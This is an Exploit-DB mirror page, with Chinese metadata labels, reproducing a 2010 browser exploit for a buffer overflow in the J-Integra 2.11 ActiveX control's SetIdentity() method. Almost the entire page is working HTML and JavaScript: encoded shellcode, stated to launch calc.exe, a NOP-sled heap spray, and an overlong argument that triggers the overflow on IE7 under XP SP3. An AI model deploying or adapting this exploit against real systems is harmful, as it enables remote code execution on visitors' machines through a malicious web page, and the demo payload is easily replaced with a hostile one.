J-Integra 2.11 – ActiveX SetIdentity() Buffer Overflow

  • 作者: Dr_IDE
    日期: 2010-12-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/15655/
  • <!--
    Exploit Title:	J-Integra v2.11 ActiveX SetIdentity() Buffer Overflow Exploit
    Found By:	Dr_IDE
    Download:	http://j-integra.intrinsyc.com/
    Greets: 	bz1p, bz1p@bshellz.net for finding the app.
    Tested on: 	XP SP3 IE7
    CVE: 		(0day)
    Notes:		This is not the same control as EDB#15648
    -->
    <html>
    <object classid='clsid:8234E54E-20CB-4A88-9AB6-7986F99BE243' id='target'></object>
    <script>
    //payload is windows/exec cmd=calc.exe
    shellcode = unescape(
    '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
    '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
    '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
    '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
    '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
    '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
    '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
    '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
    
    nops=unescape('%u9090%u9090');
    headersize =20;
    slackspace= headersize + shellcode.length;
    
    while(nops.length < slackspace) nops+= nops;
    fillblock= nops.substring(0, slackspace);
    block= nops.substring(0, nops.length- slackspace);
    
    while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
    memory=new Array();
    
    for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;
    ret='';
    for( counter=0; counter<=1000; counter++) ret+=unescape("%0a%0a%0a%0a");
    
    arg2=String("abcd");
    target.SetIdentity(ret ,arg2);
    </script>
    </html>